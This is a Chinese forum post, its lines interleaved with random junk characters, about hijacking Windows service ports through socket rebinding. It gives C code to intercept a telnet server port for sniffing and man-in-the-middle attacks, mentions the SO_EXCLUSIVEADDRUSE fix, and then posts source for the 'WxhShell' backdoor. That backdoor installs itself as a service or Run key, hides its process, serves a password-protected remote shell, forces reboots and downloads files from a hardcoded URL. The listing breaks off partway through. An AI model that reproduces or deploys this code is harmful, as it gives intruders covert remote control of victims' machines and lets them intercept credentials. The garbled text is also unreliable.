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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 45,1-? -!  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); -OapVac  
;#vKi0V7  
  saddr.sin_family = AF_INET; whi`Z:~  
@~YYD#'vNY  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); \$*7 >`k  
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 5N/%v&1  
D ,o}el  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 5h Q E4/hH  
PH+S};Uxv  
  这意味着什么?意味着可以进行如下的攻击: B{'( L |  
Exc9` 7%.  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 va}Pj#=  
r76J N  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) L?WFm n  
gG*X^Uo  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ZWc]$H?  
ykV 5  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  05b_)&4R  
A v2 08}Y  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 jRJn+  
0n;< ge&~R  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ;"dV"W  
]G5 w6&d  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 q*_/to  
 %oZ6l*  
  #include +l9!Fl{MK\  
  #include \s=t|Wpu2  
  #include ]yK7PH-{L  
  #include    BG6B :  
  DWORD WINAPI ClientThread(LPVOID lpParam);   eZIhEOF  
  int main() AiEd!u.  
  { ~Y|*`C_)  
  WORD wVersionRequested; GP?M!C,/}k  
  DWORD ret; DU5c=rxW  
  WSADATA wsaData; [AYOYENp-  
  BOOL val; `*_mP<Ag  
  SOCKADDR_IN saddr; [lWQ'DZ  
  SOCKADDR_IN scaddr; lDYyqG4  
  int err; i rU 6D  
  SOCKET s; Y }$/e  
  SOCKET sc; +nXK-g;)'  
  int caddsize; =&ks)MH-  
  HANDLE mt; ;<Ar=?  
  DWORD tid;   9x>d[-#y:J  
  wVersionRequested = MAKEWORD( 2, 2 ); {`LU+  
  err = WSAStartup( wVersionRequested, &wsaData ); Sjv dirr  
  if ( err != 0 ) { `$,GzS(  
  printf("error!WSAStartup failed!\n"); y9q8i(E0  
  return -1; [d(U38BI  
  } nbm&wa[  
  saddr.sin_family = AF_INET; `6lr4Kk @R  
   V^3L3|k  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ]x RM&=)<  
\m(VdE  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); X*/ho  
  saddr.sin_port = htons(23); e1%/26\  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5*lT.  
  { [N7{WSZ&  
  printf("error!socket failed!\n"); CE#gfP  
  return -1; F`gi_; c  
  } *=]&&<  
  val = TRUE; ^(vs.U^U<  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 mRL"nC  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) "D63I|O)  
  { n>ULRgiT:o  
  printf("error!setsockopt failed!\n"); fZ0M%f  
  return -1; (.D~0a JU  
  } Si8pzd  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; l_o@miG/  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 }+.}J  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 [x+FcXb  
K@I D/]PF  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) #$18*?tLv|  
  { }4 )H   
  ret=GetLastError(); d:BG#\e]v  
  printf("error!bind failed!\n"); Yw^m  
  return -1; >, F bX8Zz  
  } oB}BU`-l  
  listen(s,2); (gP)%  
  while(1) ^ DaBz\  
  { Y$Z x,  
  caddsize = sizeof(scaddr); a1C{(f)  
  //接受连接请求 QRHu 3w  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); {:6r;TB  
  if(sc!=INVALID_SOCKET) ,}3 'I [  
  { w,#>G07D  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); )c8rz[i  
  if(mt==NULL) %zG;Q@  
  { w65K[l;2  
  printf("Thread Creat Failed!\n"); 1S{D6#bE  
  break; J]{QB^?  
  } y0sR6TY)f  
  }  Uwf +  
  CloseHandle(mt); `[f*Zv w  
  } L 6 c 40  
  closesocket(s); > V-A;S:  
  WSACleanup(); O_ `VV*  
  return 0; } Yb[   
  }   ^E;kgED5  
  DWORD WINAPI ClientThread(LPVOID lpParam) 5rw 7;'  
  { dP3CG8w5  
  SOCKET ss = (SOCKET)lpParam; i3tg6o4C  
  SOCKET sc; |iakz|])  
  unsigned char buf[4096]; Ag9vU7  
  SOCKADDR_IN saddr; 7j@Hs[ *  
  long num; 24 [+pu  
  DWORD val; f(/lLgI(  
  DWORD ret; %|auAq&w  
  //如果是隐藏端口应用的话,可以在此处加一些判断 fObg3S92  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Hx"ob_^'7  
  saddr.sin_family = AF_INET; nV"~-On  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); e>6y%v;  
  saddr.sin_port = htons(23); ((H^2KJn  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) t<#TJ>Le  
  { th  
  printf("error!socket failed!\n"); O#ai)e_uQk  
  return -1; kVkU)hqR  
  } xN5)   
  val = 100; n&$j0k  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6HT ;#Znn  
  { .YhA@8nc~l  
  ret = GetLastError(); CDsSrKhx  
  return -1; Jl( &!?j  
  } :ci5r;^  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \hTm)-FP  
  { MI/MhkS ?  
  ret = GetLastError(); C[ NS kr  
  return -1; >")Tf6zw&  
  } Bal$+S  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) /Lfm&;  
  { kjIAep0rT  
  printf("error!socket connect failed!\n"); ^yWL,$  
  closesocket(sc); 6</xL9#/  
  closesocket(ss); zBCtd1Xrni  
  return -1; A 9( x  
  } 3x`|  
  while(1) * aN  
  { ,k24w7K%d  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 V3&RJ k=b  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 &Y!-%{e  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 IdzxS  
  num = recv(ss,buf,4096,0); v:IpMU-+\  
  if(num>0) ,c;Kzp>e  
  send(sc,buf,num,0); aRj9E}  
  else if(num==0) $Ipg&`S"  
  break; Njxv4cc  
  num = recv(sc,buf,4096,0); Z_$%.  
  if(num>0) C^O VB-  
  send(ss,buf,num,0); =O&%c%~q  
  else if(num==0) (7vF/7BZ|_  
  break; HHA<IZ#;,  
  } 52%2R]G!  
  closesocket(ss); 51#_Vg  
  closesocket(sc); vx1c,8  
  return 0 ; '.on)Zd.  
  } Dt}JG6S  
B-xGX$<z  
p, h9D_  
========================================================== E%yNa]\P  
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下边附上一个代码,,WXhSHELL 2y//'3[  
SON-Z"v  
========================================================== 0]'7_vDs|  
\.0^n3y  
#include "stdafx.h" WYHQ?  
X.OD`.!>  
#include <stdio.h> q8FTi^=Kb  
#include <string.h> ? E1<!~  
#include <windows.h> 7S-ys+  
#include <winsock2.h> MDnKX?Y  
#include <winsvc.h> G/k2Pe{SL  
#include <urlmon.h> vleS2-]|  
XeW<B0~  
#pragma comment (lib, "Ws2_32.lib") 6g2a[6G5  
#pragma comment (lib, "urlmon.lib") S'k_olx7  
qz+dmef  
#define MAX_USER   100 // 最大客户端连接数 H['N  
#define BUF_SOCK   200 // sock buffer Vy6qbC-Kt  
#define KEY_BUFF   255 // 输入 buffer VyXKZ%\dQ/  
_G[g;$ <  
#define REBOOT     0   // 重启 i5en*)O8  
#define SHUTDOWN   1   // 关机 oQLq&zRH`f  
x u>9(,l  
#define DEF_PORT   5000 // 监听端口 V_R@o3kv;  
&b.=M>\9Q  
#define REG_LEN     16   // 注册表键长度 F0pir(n-  
#define SVC_LEN     80   // NT服务名长度 hcgMZT!<5  
35A|BD) q  
// 从dll定义API ?8I?'\F;  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); zkt+7,vI  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8LyD7P 1\  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); R] vV*  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); KxI&G%z  
DH[p\Wy'  
// wxhshell配置信息 y0{u<"t%w  
struct WSCFG { )fFb_U  
  int ws_port;         // 监听端口 %D UH@j  
  char ws_passstr[REG_LEN]; // 口令 Z 6t56"u  
  int ws_autoins;       // 安装标记, 1=yes 0=no "fQ~uzg="  
  char ws_regname[REG_LEN]; // 注册表键名 $~~Jw]   
  char ws_svcname[REG_LEN]; // 服务名 p2Z?T}fa}&  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 "An,Q82oHf  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }QN1|mP2  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 JUsQ,ETn  
int ws_downexe;       // 下载执行标记, 1=yes 0=no >NO[UX%yP  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" D|lzGt  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 spGb!Y`mR  
5 f@)z"j  
}; ?L5zC+c!  
pf2[ , v/  
// default Wxhshell configuration ]jtK I4  
struct WSCFG wscfg={DEF_PORT, J}*,HT*  
    "xuhuanlingzhe", qaqBOHI6G  
    1, z#8~iF1  
    "Wxhshell", 'OE&/ C [  
    "Wxhshell", ."TxX.&HE  
            "WxhShell Service", l\E%+?K+^  
    "Wrsky Windows CmdShell Service", ",p;Sd  
    "Please Input Your Password: ", 0QB iC]9  
  1, %r<rcY  
  "http://www.wrsky.com/wxhshell.exe", ySk R>y  
  "Wxhshell.exe" P!$Zx)T  
    }; o906/5M  
qPWP&k  
// 消息定义模块 }HL]yDO  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9"@\s$ OBk  
char *msg_ws_prompt="\n\r? for help\n\r#>"; e2L0VXbb  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {i1| R"ta  
char *msg_ws_ext="\n\rExit."; 9 3U_tQ&1?  
char *msg_ws_end="\n\rQuit."; nxY\|@  
char *msg_ws_boot="\n\rReboot..."; u9:`4b   
char *msg_ws_poff="\n\rShutdown..."; }wWKFX  
char *msg_ws_down="\n\rSave to "; ,oORW/0iS  
@*F"Q1 wI  
char *msg_ws_err="\n\rErr!"; b}OY4~ Y4  
char *msg_ws_ok="\n\rOK!"; ~9?cn  
Av @b!iw+  
char ExeFile[MAX_PATH]; a:+{f&  
int nUser = 0; &qLf@1AD  
HANDLE handles[MAX_USER]; 3T31kQv{  
int OsIsNt;  N O2XA\  
t#yk ->,  
SERVICE_STATUS       serviceStatus; O1rvaOlr  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; NWP5If|'X  
-B>++r2A^  
// 函数声明 214Ml0/%  
int Install(void); JHW "-b  
int Uninstall(void); D_?K"E=fw  
int DownloadFile(char *sURL, SOCKET wsh); MV! {j;g1<  
int Boot(int flag); +cWLjPD/}  
void HideProc(void); &w4?)#  
int GetOsVer(void); `0rd26Qro  
int Wxhshell(SOCKET wsl); }Dp*}=?E  
void TalkWithClient(void *cs); SIe="YG]<  
int CmdShell(SOCKET sock); /;{P}-H`ei  
int StartFromService(void); l+ 3[ KCE  
int StartWxhshell(LPSTR lpCmdLine); 9Q -HeXvR  
8{Q<N%Jnu  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); E^Y#&skXp3  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); IWBX'|}K  
> pgX^  
// 数据结构和表定义 jy7\+i  
SERVICE_TABLE_ENTRY DispatchTable[] = A_n7w  
{ pEw"8U  
{wscfg.ws_svcname, NTServiceMain}, O7u(}$D L  
{NULL, NULL} < 3(LWxw  
}; uvgdY  
iz5CAxm  
// 自我安装 '#! gh?  
int Install(void) {Z{75}  
{ d[[]P X  
  char svExeFile[MAX_PATH]; cD@(/$wt  
  HKEY key; )W|w C#  
  strcpy(svExeFile,ExeFile); -T!f,g3vW  
T} `x-  
// 如果是win9x系统,修改注册表设为自启动 o-;E>N7t  
if(!OsIsNt) { |HU@ >  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M\C"5%2Mu  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +_s #2  
  RegCloseKey(key); xE1 eT,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |yvQ[U~PQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &vHoRY  
  RegCloseKey(key); w|3z;-#Q;  
  return 0; L%">iQOG#  
    } 01[NX? qEa  
  } :Y-{Kn6`_  
} z+x\(/  
else { 2Fy>.*,?  
BW-`t-,E;  
// 如果是NT以上系统,安装为系统服务 tv>>l%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); CF&NFSti^  
if (schSCManager!=0) z|fmrwkN'$  
{ })uGRvz  
  SC_HANDLE schService = CreateService wU8Mt#D!  
  ( ADZ};:]  
  schSCManager, :d3bt~b'  
  wscfg.ws_svcname, ~7Y+2FZ  
  wscfg.ws_svcdisp, PEc,l>u9  
  SERVICE_ALL_ACCESS, Gb"r|(!  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , l|xZk4@_uE  
  SERVICE_AUTO_START, /`9sPR6e  
  SERVICE_ERROR_NORMAL, z+ s6)Ad  
  svExeFile, 0WT{,/>  
  NULL, hhb?6]Z/  
  NULL, #btLa\HJ  
  NULL, UYFwS/ RW}  
  NULL, Fd#?\r.  
  NULL lT4Hn;tnN  
  ); nJbtS#`G4  
  if (schService!=0) _4TH4~cY  
  { qd+h$ "p  
  CloseServiceHandle(schService); Z.d 7U~_  
  CloseServiceHandle(schSCManager); ekI2icD  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); - *F(7$  
  strcat(svExeFile,wscfg.ws_svcname); Kqun^"Df  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {  R=.4  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));  zG+R5:  
  RegCloseKey(key); 4!$s}V=6  
  return 0; `{,Dy!rL  
    } @|LBn6q  
  } DQMHOd7g  
  CloseServiceHandle(schSCManager); Xm+8  
} 0$_oT;{8  
} CxGx8*<X  
*ohL&'y  
return 1; 5pU2|Bk /  
} 5?p2%KQ  
Zkx[[gzL  
// 自我卸载 U ?'vXa  
int Uninstall(void) YRv&1!VLE  
{ HN_d{ 3  
  HKEY key; "nm FzN  
d\%WgH  
if(!OsIsNt) { pp.6Ex (R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6)z?f4,  
  RegDeleteValue(key,wscfg.ws_regname); ay1YOfa*  
  RegCloseKey(key); xAafm<L@!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6Z#\CixG  
  RegDeleteValue(key,wscfg.ws_regname); $f,n8]  
  RegCloseKey(key); <$6QDfa#  
  return 0; p7);uF^O%  
  } ~CVe yk< (  
} tS|9fBdCs  
} Ys -T0  
else { \Z^TXyu   
.udv"?!z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); RbCPmiZcH  
if (schSCManager!=0) iP@ZM =&wz  
{ wx\v:A  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); h8 'v d3  
  if (schService!=0) x&^_c0fn  
  { |_}2f  
  if(DeleteService(schService)!=0) { <F'X<Bau  
  CloseServiceHandle(schService); D6CS8 ~"  
  CloseServiceHandle(schSCManager); hOFOO_byzO  
  return 0; :,WtR  
  } KQ `qpX^d  
  CloseServiceHandle(schService); :`E8Z:-R  
  } 'D6T8B4  
  CloseServiceHandle(schSCManager); Gq_-Val]"  
} ` L >  
} 76V 6cI=+  
xBUya4w  
return 1; HODz*pI  
} k4,BNJt'Z  
?6(I V]  
// 从指定url下载文件 C|d\3S\(  
int DownloadFile(char *sURL, SOCKET wsh) v.Q(v\KV5  
{ Ob}?zl@  
  HRESULT hr; WJNl5^  
char seps[]= "/"; +zrAG 24q  
char *token; AgOp.~*Z~V  
char *file; 5~Cakd ]>  
char myURL[MAX_PATH]; -:Fe7c  
char myFILE[MAX_PATH]; SF}<{x_  
u\LiSGePN  
strcpy(myURL,sURL); u)3 $~m~  
  token=strtok(myURL,seps); &=<x#h-  
  while(token!=NULL) g8Q5m=O*  
  { !Gu%U$d  
    file=token; BYTnrPA&Z;  
  token=strtok(NULL,seps); /EibEd\  
  } smdZxFl  
"VkTY|a  
GetCurrentDirectory(MAX_PATH,myFILE); tniDF>Rb  
strcat(myFILE, "\\"); ]Pry>N3G5  
strcat(myFILE, file); h@:TpE+N  
  send(wsh,myFILE,strlen(myFILE),0); Ct2j ZqCDo  
send(wsh,"...",3,0); ZiYm:$CJ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "Vw m  
  if(hr==S_OK) fMGbODAvY  
return 0; cE`6uq7 p  
else Dq36p${ \W  
return 1; P&j (,7  
}"|"Q7H  
} e{X6i^% m_  
c1$ngH0  
// 系统电源模块 u5 {JQO  
int Boot(int flag) >H(i^z/c  
{ nB%;S  
  HANDLE hToken; D?C)BcN  
  TOKEN_PRIVILEGES tkp; aO@ 7O*  
tp6M=MC%  
  if(OsIsNt) { qOSg!aft{Q  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Ma'_e=+A  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {cB+mh;mJ>  
    tkp.PrivilegeCount = 1; VOc8q-hK  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <&&SX;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #6AFdNy  
if(flag==REBOOT) { j [rB"N`0  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |,#t^'S!  
  return 0; rsF\JQk  
} J4"mK1N(  
else { ZunCKc  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) VtzI9CD  
  return 0; vKq^D(&cl  
} |o2sbLp  
  } 7_.11$E=H  
  else { ,g7.rEA  
if(flag==REBOOT) { a-"k/P#  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) i^_#%L  
  return 0; q}/WQ]p} <  
} uKz,SqX  
else { i `s|,"0o  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) H;U)b{  
  return 0; Mn$]I) $  
} jn%!AH  
} ot`%*  
!@x+q)2  
return 1; FuUD 61JHY  
} 6*qL[m.F[o  
%'xb%`t  
// win9x进程隐藏模块 Y 2Q=rj  
void HideProc(void) *?z0$Kz<,[  
{ _(d.!qGz  
cooUE<a  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !eAo  
  if ( hKernel != NULL ) (x"BR  
  { r6;$1 K*0  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ZxG}ViS4I  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); '8 fk+>M  
    FreeLibrary(hKernel); $`8Ar,Xz`  
  } E,wVe[0)f  
ZT[3aXS  
return; 5aBAr  
} A%Xt|=^_  
Yz4_vePh+5  
// 获取操作系统版本 Ul_M3"Z  
int GetOsVer(void) 9U {y1}  
{ \":?xh_H  
  OSVERSIONINFO winfo; E]J:~H'Er  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); R g?1-|Tj  
  GetVersionEx(&winfo); AsPx?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ;>%~9j1C  
  return 1; t4q ej  
  else ;Og&FFs'  
  return 0; 0x11 vr!  
} '=E3[0W  
uk9g<<3T  
// 客户端句柄模块 Zes+/.sA}]  
int Wxhshell(SOCKET wsl) xy8#2  
{ ~ ^>417>  
  SOCKET wsh; Ku/~ N#  
  struct sockaddr_in client; ~XydQJ^*  
  DWORD myID; X; 5Jb  
k-E{d04-2  
  while(nUser<MAX_USER) F,GN[f-  
{ 4D$;KokZ  
  int nSize=sizeof(client); g|Y] wd  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); O<j PGU  
  if(wsh==INVALID_SOCKET) return 1; {/ LZcz[  
9'DtaTmGW  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); O1D6^3w  
if(handles[nUser]==0) 6cdMS[_SD(  
  closesocket(wsh); ?sBh=Ds  
else yoRU_%xA  
  nUser++; N7%TYs  
  } v! 42 DA)  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ckjrk  
@ct+7v~  
  return 0; .6m "'m0;  
} ]WUC:6x  
T *I?9d{k  
// 关闭 socket tu>{  
void CloseIt(SOCKET wsh) [EY`am8[  
{ nRb^<cZf  
closesocket(wsh); c=[q(|+O!  
nUser--; jJ3zF3Id  
ExitThread(0); _Cy:]2o  
} v)f7};"z   
`_5GG3@Ff  
// 客户端请求句柄 Z,c,G2D  
void TalkWithClient(void *cs) Eq^uKi  
{ v8/6wy?  
`W `0Fwu9  
  SOCKET wsh=(SOCKET)cs; #fs|BV !  
  char pwd[SVC_LEN]; K'1~^)*  
  char cmd[KEY_BUFF]; F_ 7H!F  
char chr[1]; 8ga_pNe  
int i,j; /u`3VOn  
WlV z,t'if  
  while (nUser < MAX_USER) { 9Bdt(}0A  
E2AW7f(/  
if(wscfg.ws_passstr) { Nt:8ogk/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kax\h  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W3&tJ8*3  
  //ZeroMemory(pwd,KEY_BUFF); 'P laMOy  
      i=0; 4'Xgk8)  
  while(i<SVC_LEN) { C;Ic  
J$9:jE-4  
  // 设置超时 u/Fj'*M  
  fd_set FdRead; V &Mf:@y  
  struct timeval TimeOut; PfG`C5 d  
  FD_ZERO(&FdRead); ,WWj-X|+=  
  FD_SET(wsh,&FdRead); ]lS@}W\  
  TimeOut.tv_sec=8; Q0_>'sEM  
  TimeOut.tv_usec=0; Ybg- "w  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); yPu4T6Vv  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ( 0Naf  
J?n<ydZSH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Zt@Z=r:&  
  pwd=chr[0]; Gzt=u"FV  
  if(chr[0]==0xd || chr[0]==0xa) { ;\y ;  
  pwd=0; w7-WUvxl  
  break; XD-^w_  
  } ,xths3.K  
  i++; gJ3c;  
    } N;HIsOT}t  
9.M{M06;  
  // 如果是非法用户,关闭 socket O\OE0[[  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {SG>'KXZ  
} :Dl% _l  
+`bC%\T8?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); U3#dT2U  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b X)|MiWI  
~!+ _[uJ  
while(1) { Ulqh@CE)  
$_j1kx$  
  ZeroMemory(cmd,KEY_BUFF); y/_wx(2  
vt]F U<  
      // 自动支持客户端 telnet标准   }Ia 0"J4  
  j=0; t7F.[uWD  
  while(j<KEY_BUFF) { !0 Q8iW:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xi'<y  
  cmd[j]=chr[0]; 8NimZ(  
  if(chr[0]==0xa || chr[0]==0xd) { Mth6-^g5  
  cmd[j]=0; 7w58L:)B.  
  break; TYjA:d9YH  
  } kJ=L2g>W<.  
  j++; 3gfimD$_E  
    } ~U}Mv{ y  
noA-)  
  // 下载文件 .Gb+\E{M  
  if(strstr(cmd,"http://")) { *j*Du+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0jB X5  
  if(DownloadFile(cmd,wsh))  s&*yk p  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); BIWD/ |LQ  
  else :kw0y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O|v (5 8A  
  } J\W-dI  
  else { K]N~~*`%`  
#Ws 53mT  
    switch(cmd[0]) { 6E9N(kFYs  
  5M?mYNQR/H  
  // 帮助 (;6s)z  
  case '?': { :%_q[}e  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); HdQj?f3  
    break; bY#;E;'7  
  } _|n=cC4Qu  
  // 安装 U6WG?$x  
  case 'i': { rS~qi}4X  
    if(Install()) vC9@,[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q5E:|)G  
    else <jd/t19DB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hWGZd~L  
    break; Uh6mGL z*&  
    } {y);vHf$  
  // 卸载 rveVCTbC  
  case 'r': { fwmLJ5o N  
    if(Uninstall()) 9[>Lp9l'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xt(! a  
    else e)pTC97^L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Hc!!tbBQ  
    break; 2uu[52H8d%  
    } [V< 1_zqt  
  // 显示 wxhshell 所在路径 ^!@*P,'I  
  case 'p': { O@`J_9  
    char svExeFile[MAX_PATH]; c2b6B.4  
    strcpy(svExeFile,"\n\r"); _:,.yRez  
      strcat(svExeFile,ExeFile); w yD%x(  
        send(wsh,svExeFile,strlen(svExeFile),0); I #l;~a<9z  
    break; >_#)3K1y8  
    } g.*&BXZi  
  // 重启 P06 . 1  
  case 'b': { (Nt[v;BnO  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); D=w9cKa  
    if(Boot(REBOOT)) 9H$g?';  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $y6rvQ 2>S  
    else { 5fq.*1f  
    closesocket(wsh); cqg=8$RB  
    ExitThread(0); {( HxG4~  
    } 8*k oxS  
    break; G^" H*a  
    } BD1K H;  
  // 关机 eJf>"IF-  
  case 'd': { , ,{6m d  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3LfTGO  
